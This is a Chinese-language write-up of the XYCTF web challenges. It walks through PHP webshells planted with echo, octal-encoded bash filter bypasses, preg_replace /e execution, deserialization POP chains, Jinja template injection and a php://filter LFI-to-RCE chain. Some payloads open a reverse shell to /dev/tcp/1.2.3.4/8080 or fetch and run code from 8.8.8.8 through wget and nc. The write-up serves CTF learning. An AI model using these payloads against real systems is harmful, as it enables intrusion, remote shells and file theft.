WEB ezMake
PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。
bash命令
alias - 定义或显示别名。
cd - 改变当前目录。
echo - 输出参数到标准输出。
exit - 退出当前shell。
export - 设置或显示环境变量。
history - 显示命令历史记录。
pwd - 打印当前工作目录的路径。
read - 从标准输入读取一行数据。
set - 设置或取消设置shell选项和位置参数。
type - 显示一个命令的类型。
unset - 删除变量或函数的定义。
echo可以执行
方法一:
利用shell变量替换符$(<file)读文件
1 2 3 root@aura:~# echo "flag{test}" > flag root@aura:~# echo $(<flag) flag{test}
注意: 这里需要两个$$
方法二:
访问/flag下载
010打开
方法三(非预期):
使用echo写马
1 2 3 4 eval($_POST["cmd"]); echo '<?=eval($_POST["cmd"]);?>' > hook.php echo 'PD89ZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==' | base64 -d > hook.php echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > hook.php
发现hex2bin可以过
考点:命令执行绕过+shell变量替换符读文件
ez?Make 上一题的方法均不可用
给出/bin下的命令,PATH不再有限制,flag路径在/flag,所以可以cd再进行读文件
读文件more还能用
payload:
1 2 3 cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z] cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&vi [0-z][0-z][0-z][0-z] cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&vi [^z][^z][^z][^z]
εZ?¿м@Kε¿? 查看源码发现
存在hint.php
1 /^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
是一个字符白名单
类似于make的第一题
payload:
附:
关于makefile的自动变量
Makefile中的自动变量是在规则执行时由make自动定义的变量。这些变量非常有用,因为它们可以自动获取文件名、目录名和更多的信息,使得Makefile编写更加简洁和灵活。下面是一些常用的自动变量:
$@: 表示规则中的目标文件名。目标的一个实例。
$<: 表示规则中的第一个依赖文件名。
$?: 表示所有比目标文件还要新的依赖文件列表,用空格分隔。
$^: 表示所有的依赖文件列表,这些依赖文件以空格分隔,不包含重复的依赖文件。
$+: 这个变量和$^很像,但是它包含了所有的依赖文件,并保留了重复的文件。
$: 在模式规则中,它表示匹配于目标模式中的%部分的字符串。例如,在规则 %.o: %.c 中,如果目标是 foo.o,则 $ 的值就是 foo。
ezRCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ ); function waf ($cmd ) { $white_list = ['0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,'\\' ,'\'' ,'$' ,'<' ]; $cmd_char = str_split ($cmd ); foreach ($cmd_char as $char ) { if (!in_array ($char , $white_list )) { die ("really ez?" ); } } return $cmd ; } $cmd = waf ($_GET ["cmd" ]); system ($cmd ); ?>
使用字符使用url编码绕过
命令转为ASCII码
1 2 3 ls 的 ASCII 字符:l = 八进制 \154, s = 八进制 \163。 构建 payload: $'\154\163',在 shell 中扩展为 ls。
可执行
ls /无回显
尝试{ls,/}也无回显
猜测应该是命令被当作字符
参考:https://xz.aliyun.com/news/8174#toc-3中的Web-Bash-Vino0o0o
bash命令中的特殊的语法Here String,用于将字符串作为命令的标准输入提供给命令。它的语法形式是bash<<<{,,,,}
1 2 3 4 bash -> $'\142\141\163\150' {ls,/} -> $'\173\154\163\54\57\175' 组合为 $'\142\141\163\150'<<<$'\173\154\163\54\57\175'
发现成功命令执行
1 2 3 4 bash -> $'\142\141\163\150' {cat,/f*} -> $'\173\143\141\164\54\57\146\52\175' 组合为 $'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'
payload:
1 $'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'
推荐项目:
https://github.com/ProbiusOfficial/bashFuck
warm up 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'next.php' ;highlight_file (__FILE__ );$XYCTF = "Warm up" ;extract ($_GET );if (isset ($_GET ['val1' ]) && isset ($_GET ['val2' ]) && $_GET ['val1' ] != $_GET ['val2' ] && md5 ($_GET ['val1' ]) == md5 ($_GET ['val2' ])) { echo "ez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if (isset ($md5 ) && $md5 == md5 ($md5 )) { echo "ezez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if ($XY == $XYCTF ) { if ($XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" )) { echo $level2 ; } else { die ("什么情况,这么基础的md5做不来" ); } } else { die ("学这么久,传参不会传?" ); }
val1与val2进行md5弱比较
使用0e或者数组
1 2 3 ?val1=240610708&&val2=s214587387a ?val1[]=a&&val2[]=b
isset($md5) && $md5 == md5($md5)
原md5等于加密后的md5
使用0e开头的字符串且加密后任为0e开头
0e215962017
0e291242476940776845150308577824
0e1137126905
0e291659922323405260514745084877
0e462097431906509019562988736854
0e830400451993494058024219903391
$XY == $XYCTF
变量覆盖相等即可
md5($XY) == md5(“XYCTF_550102591”)弱比较
payload:
1 ?val1=240610708&&val2=s214587387a&&md5=0e215962017&&XY=s214587387a&&XYCTF=s214587387a
进入LLeeevvveeelll222.php
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );if (isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ])) { echo "操作你O.o" ; echo preg_replace ($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]); } else { die ("有点汗流浃背" ); }
考察preg_replace /e 模式下的代码执行
preg_match使用数组绕过,当输入是数组时,preg_match
返回 false
并抛出警告(但脚本继续执行)。
在 PHP 5.x 中,intval(array())
返回 **1
**(满足非零条件)。
preg_replace /e :
**a=/.\*/e
**: 正则表达式修饰符 /e
表示 执行替换字符串中的 PHP 代码 。
**b=system("id")
**: 替换字符串中的 PHP 代码(此处执行系统命令 id
)。
**c=anything
**: 被匹配的文本(可为任意值,因正则 /.*/
会匹配所有内容)。
1 ?a=/.*/e&b=system("id")&c=anything
payload:
1 ?a=/.*/e&b=system("cat /f*")&c=anything
附:
常见0e:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
ezClass 1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );$a =$_GET ['a' ];$aa =$_GET ['aa' ];$b =$_GET ['b' ];$bb =$_GET ['bb' ];$c =$_GET ['c' ];((new $a ($aa ))->$c ())((new $b ($bb ))->$c ());
漏洞原理分析
动态类实例化 :
new $a($aa)
和 new $b($bb)
:直接使用 GET 参数动态创建类的实例
可以控制类名和构造参数
动态方法调用 :
->$c()
:动态调用对象的方法
方法名完全由 GET 参数 c
控制
嵌套函数执行 :
最终结构:函数A(函数B())
需要使 (new $a($aa))->$c()
返回一个可调用对象(函数)
(new $b($bb))->$c()
的返回值作为参数传递
利用思路:通过 Exception
类构造命令执行 利用 PHP 的 Exception
类和可变函数调用特性:
核心原理 :
Exception
类的 getMessage()
方法返回构造函数传入的字符串
当字符串是函数名时,可以通过 '函数名'(参数)
的语法执行
Payload 结构 :
1 2 3 4 5 6 7 8 (new Exception ('system' ))->getMessage () (new Exception ('id' ))->getMessage () 'system' ('id' )
完整攻击向量 1 2 3 4 5 6 http://target.com/script.php? a=Exception& aa=system& b=Exception& bb=id& c=getMessage
分步解释:
参数
值
作用
a
Exception
创建 Exception 类的实例
aa
system
传递给 Exception 构造函数的参数(作为异常消息)
b
Exception
创建另一个 Exception 类的实例
bb
id
传递给第二个 Exception 构造函数的参数(要执行的系统命令)
c
getMessage
调用两个实例的 getMessage() 方法,分别返回 ‘system’ 和 ‘id’ 字符串
实际执行流程: 1 2 3 4 5 ((new Exception ('system' ))->getMessage ())((new Exception ('id' ))->getMessage ()); 'system' ('id' );system ('id' );
执行任意命令示例:
查看当前目录 :
1 ?a=Exception&aa=system&b=Exception&bb=ls+-l&c=getMessage
读取系统文件 :
1 ?a=Exception&aa=system&b=Exception&bb=cat+/etc/passwd&c=getMessage
反弹 Shell (需 URL 编码):
1 ?a=Exception&aa=system&b=Exception&bb=bash+-c+%27bash+-i+>%26+/dev/tcp/1.2.3.4/8080+0>%261%27&c=getMessage
本题payload:
1 ?a=Exception&aa=system&b=Exception&bb=cat+/flag&c=getMessage
ezmd5
要求上传两张图片然后进行比较
考点为:md5文件强相等
使用fastcoll生成两个md5相等的文件
上传得到flag
注意:指定的jpg不可太大
ezhttp 源码发现
使用dirsearch扫一遍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292 Target: http://gz.imxbt.cn:20106/ [16:59:30] Scanning: [16:59:42] 200 - 0B - /flag.php [16:59:43] 200 - 1KB - /index.php [16:59:43] 200 - 1KB - /index.php/login/ [16:59:46] 200 - 35B - /robots.txt [16:59:46] 403 - 279B - /server-status [16:59:46] 403 - 279B - /server-status/ Task Completed
访问/robots.txt
1 2 User-agent: * Disallow: /l0g1n.txt
访问/l0g1n.txt
得到账号密码
1 2 username: XYCTF password: @JOILha!wuigqi123$
可以修改Referer的value指向来源于 yuanshen.com
User-Agent的value改为XYCTF
X-Forwarded-For的value为127.0.0.1
这里X-Forwarded-For不适用
常见fake ip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 X-Forwarded-For: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded: 127.0.0.1 X-Requested-With: 127.0.0.1 X-Forwarded-Proto: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-remote-IP: 127.0.0.1 X-remote-addr: 127.0.0.1 True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 Ali-CDN-Real-IP: 127.0.0.1 Cdn-Src-Ip: 127.0.0.1 Cdn-Real-Ip: 127.0.0.1 CF-Connecting-IP: 127.0.0.1 X-Cluster-Client-IP: 127.0.0.1 WL-Proxy-Client-IP: 127.0.0.1 Proxy-Client-IP: 127.0.0.1 Fastly-Client-Ip: 127.0.0.1 True-Client-Ip: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Host: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1
发现Client-IP可以使用
添加Via
Cookie增加XYCTF拿到flag
完整post包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /index.php HTTP/1.1 Host: gz.imxbt.cn:20106 Content-Length: 48 Cache-Control: max-age=0 Origin: http://gz.imxbt.cn:20106 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: XYCTF Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: yuanshen.com Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 cookie: XYCTF via: ymzx.qq.com client-ip: 127.0.0.1 Connection: keep-alive password=%40JOILha%21wuigqi123%24&username=XYCTF
牢牢记住,逝者为大 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );function Kobe ($cmd ) { if (strlen ($cmd ) > 13 ) { die ("see you again~" ); } if (preg_match ("/echo|exec|eval|system|fputs|\.|\/|\\|/i" , $cmd )) { die ("肘死你" ); } foreach ($_GET as $val_name => $val_val ) { if (preg_match ("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i" , $val_val )) { return "what can i say" ; } } return $cmd ; } $cmd = Kobe ($_GET ['cmd' ]);echo "#man," . $cmd . ",manba out" ;echo "<br>" ;eval ("#man," . $cmd . ",mamba out" );
对cmd是有长度限制,增加转接头 逃逸命令长度限制
eval(“#man,” . $cmd . “,mamba out”);存在无关字符
#在php为单行注释,使用%0A换行即可绕过,后面无关字符使用#注释即可
无法直接回弹shell且curl也打不了
只能写马(echo >或者wget下载远程文件)
payload:
1 ?cmd=%0a`$_GET[1]`;%23&1=wget 8.8.8.8/hook.php
或者监听
1 2 3 4 ?cmd=%0a`$_GET[1]`;%23&1=nc 8.8.8.8 39200 -e /bi''n/sh 攻击机: nc -lvnp 39200
我是一个复读机 用户名为admin
使用所给字典爆破
password=asdqwe&username=admin
过滤{} ‘ “ [] _ os
发现输入¥会显示
输出6
可以打ssti
payload:
1 ?sentence=¥(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()¥&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
或者
1 ?sentence=¥lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()¥&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
ezPOP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting (0 );highlight_file (__FILE__ );class AAA { public $s ; public $a ; public function __toString ( ) { echo "you get 2 A <br>" ; $p = $this ->a; return $this ->s->$p ; } } class BBB { public $c ; public $d ; public function __get ($name ) { echo "you get 2 B <br>" ; $a =$_POST ['a' ]; $b =$_POST ; $c =$this ->c; $d =$this ->d; if (isset ($b ['a' ])) { unset ($b ['a' ]); } call_user_func ($a ,$b )($c )($d ); } } class CCC { public $c ; public function __destruct ( ) { echo "you get 2 C <br>" ; echo $this ->c; } } if (isset ($_GET ['xy' ])) { $a = unserialize ($_GET ['xy' ]); throw new Exception ("noooooob!!!" ); }
1 2 3 4 graph TD A[CCC::__destruct] -->|echo $this->c| B[AAA::__toString] B -->|return $this->s->$p| C[BBB::__get] C -->|call_user_func| D[任意代码执行]
1 call_user_func($a,$b)($c)($d);
参数完全可控:
$a = $_POST['a']
(函数名)
$b = $_POST
(数组参数)
$c = $this->c
(对象属性)
$d = $this->d
(对象属性)
绕过 throw new Exception(“noooooob!!!”);Fast-destruct即可:删除末尾的}快速触发-_destruct()(垃圾回收机制)从而绕过抛出异常终止执行
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class AAA { public $s ; public $a ; } class BBB { public $c ; public $d ; } class CCC { public $c ; } $aaa = new AAA ();$bbb = new BBB ();$ccc = new CCC ();$bbb -> c = "system" ;$bbb -> d = "tac /f*" ;$aaa -> s = $bbb ;$ccc -> c = $aaa ;echo serialize ($ccc );
解释:
反序列化后,CCC
销毁触发__destruct
,echo $aaa
触发__toString
。
AAA->__toString
访问$bbb->xyz
(不存在),触发BBB->__get
。
BBB->__get
执行:
call_user_func('current', ['b'=>'sprintf'])
→ 返回 'sprintf'
。
'sprintf'('system')
→ 返回 'system'
。
'system'('tac /f*')
→ 执行系统命令,读取flag文件。
payload:
1 2 3 4 ?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";N;} a=current&b=sprintf
ezSerialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include 'flag.php' ;highlight_file (__FILE__ );error_reporting (0 );class Flag { public $token ; public $password ; public function __construct ($a , $b ) { $this ->token = $a ; $this ->password = $b ; } public function login ( ) { return $this ->token === $this ->password; } } if (isset ($_GET ['pop' ])) { $pop = unserialize ($_GET ['pop' ]); $pop ->token=md5 (mt_rand ()); if ($pop ->login ()) { echo $flag ; } }
exp:
1 2 3 4 5 6 7 8 9 10 11 class Flag { public $token ; public $password ; } $a = new Flag ();$var = 'a' ; $a ->token = &$var ;$a ->password = &$var ;echo urlencode (serialize ($a ));
核心思路 :创建 Flag
对象,使 token
和 password
成为同一个变量的引用。
反序列化后对象结构 :
1 2 3 4 $flag = { token: &$var , password: &$var }
执行流程 :
$pop->token = md5(mt_rand())
:修改 $var
为随机 MD5 值。
password
因引用 $var
同步更新。
login()
比较 token === password
(值相同),返回 true
。
序列化关键点 :
R:2
表示 password
引用序列化中第 2 个值(即 token
的值)。
触发逻辑 :
反序列化后,token
被重置为随机 MD5 值。
由于 password
是 token
的引用,两者值相同。
login()
返回 true
,输出 flag。
payload:
1 ?pop=O:4:"Flag":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}
访问/fpclosefpclosefpcloseffflllaaaggg.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php highlight_file (__FILE__ );class A { public $mack ; public function __invoke ( ) { $this ->mack->nonExistentMethod (); } } class B { public $luo ; public function __get ($key ) { echo "o.O<br>" ; $function = $this ->luo; return $function (); } } class C { public $wang1 ; public function __call ($wang1 ,$wang2 ) { include 'flag.php' ; echo $flag2 ; } } class D { public $lao ; public $chen ; public function __toString ( ) { echo "O.o<br>" ; return is_null ($this ->lao->chen) ? "" : $this ->lao->chen; } } class E { public $name = "xxxxx" ; public $num ; public function __unserialize ($data ) { echo "<br>学到就是赚到!<br>" ; echo $data ['num' ]; } public function __wakeup ( ) { if ($this ->name!='' || $this ->num!='' ){ echo "旅行者别忘记旅行的意义!<br>" ; } } } if (isset ($_POST ['pop' ])) { unserialize ($_POST ['pop' ]); }
入口点 :unserialize($_POST['pop'])
允许我们控制反序列化内容
目标方法 :C::__call
会输出 flag(当调用不存在方法时触发)
可用魔术方法 :
A::__invoke
:当对象作为函数调用时触发
B::__get
:当访问不存在的属性时触发
D::__toString
:当对象被当作字符串使用时触发
E::__unserialize
:反序列化时触发(覆盖__wakeup
)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 class A { public $mack ; } class B { public $luo ; } class C {} class D { public $lao ; } class E { public $name ; public $num ; } $c = new C (); $a = new A ();$a ->mack = $c ; $b = new B ();$b ->luo = $a ; $d = new D ();$d ->lao = $b ; $e = new E ();$e ->num = $d ; echo serialize ($e );
payload:
1 2 O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":1:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":0:{}}}}}
访问/saber_master_saber_master.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting (0 );highlight_file (__FILE__ );class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; public function __construct ($Liu , $T1ng , $upsw1ng = Showmaker ) { $this ->Liu = $Liu ; $this ->T1ng = $T1ng ; $this ->upsw1ng = $upsw1ng ; } } class XYCTFNO2 { public $crypto0 ; public $adwa ; public function __construct ($crypto0 , $adwa ) { $this ->crypto0 = $crypto0 ; } public function XYCTF ( ) { if ($this ->adwa->crypto0 != 'dev1l' or $this ->adwa->T1ng != 'yuroandCMD258' ) { return False; } else { return True; } } } class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght = "Crypto0" ; public function __construct ($KickyMu , $fpclose ) { $this ->KickyMu = $KickyMu ; $this ->fpclose = $fpclose ; } public function XY ( ) { if ($this ->N1ght == 'oSthing' ) { echo "WOW, You web is really good!!!\n" ; echo new $_POST ['X' ]($_POST ['Y' ]); } } public function __wakeup ( ) { if ($this ->KickyMu->XYCTF ()) { $this ->XY (); } } } if (isset ($_GET ['CTF' ])) { unserialize ($_GET ['CTF' ]); }
链子顺序:
XYCTFNO3#__wakeup -> XYCTFNO2.XYCTF() -> XYCTFNO3.XY() -> new SplFileObject(“php://filter/convert.base64-encode/resource=flag.php”)
分析代码结构 :
存在三个类:XYCTFNO1
、XYCTFNO2
、XYCTFNO3
。
漏洞触发点在XYCTFNO3::__wakeup()
方法,当满足条件时会调用XY()
方法。
XY()
方法中,如果$N1ght == 'oSthing'
,会执行echo new $_POST['X']($_POST['Y'])
,允许通过POST参数动态创建对象并执行文件读取。
利用链构造 :
需要使XYCTFNO3
对象的__wakeup()
触发。
在__wakeup()
中,$this->KickyMu->XYCTF()
必须返回true
。
XYCTF()
方法要求$this->adwa->crypto0 == 'dev1l'
且$this->adwa->T1ng == 'yuroandCMD258'
。
通过构造对象链满足条件,并设置$N1ght = 'oSthing'
以触发文件读取。
文件读取 :
利用SplFileObject
类读取文件,配合php://filter
进行Base64编码避免特殊字符问题。
最终读取flag.php
。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class XYCTFNO1 { public $Liu ; public $T1ng ; private $upsw1ng ; } class XYCTFNO2 { public $crypto0 ; public $adwa ; } class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght ; } $c = new XYCTFNO1 ();$c ->T1ng = 'yuroandCMD258' ; $c ->crypto0 = 'dev1l' ; $b = new XYCTFNO2 ();$b ->adwa = $c ; $a = new XYCTFNO3 ();$a ->KickyMu = $b ; $a ->N1ght = 'oSthing' ; echo urlencode (serialize ($a )); ?>
payload:
1 2 3 ?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:" XYCTFNO1 upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";} X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
ezLFI index.php中有
1 <?php include_once ($_REQUEST ['file' ]);
Dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 FROM debian:bullseyeRUN DEBIAN_FRONTEND=noninteractive apt-get update && \ apt-get install -y \ nginx \ php-fpm \ musl-tools \ && rm -rf /var/lib/apt/lists/ COPY conf/default /etc/nginx/sites-enabled/default COPY conf/www.conf /etc/php/7.4/fpm/pool.d/www.conf ADD readflag.c /build/ RUN rm -rf /var/www/html/* COPY src/index.php /var/www/html/ COPY ./service/docker-entrypoint.sh /docker-entrypoint.sh RUN chmod +x /docker-entrypoint.sh RUN chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \ chmod -R 000 /tmp /var/tmp /var/lib/php/sessions RUN ln -sf /dev/stdout /var/log/nginx/access.log && \ ln -sf /dev/stderr /var/log/nginx/error.log EXPOSE 80 ENTRYPOINT ["/docker-entrypoint.sh" ]
docker-entrypoint.sh中的
表名只用文件所有者可以读取flag
存在 /readflag 说明要执行shell命令
给了 include_once();
php filter chain构造任意字符,用php_filter_chain生成一句话木马即可
1.php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator 2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
这里使用的是第二个项目
1 2 3 ?1=system('/readflag'); file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd
连连看到底是连连什么看 点击about发现文件包含readme.txt
包含index.php
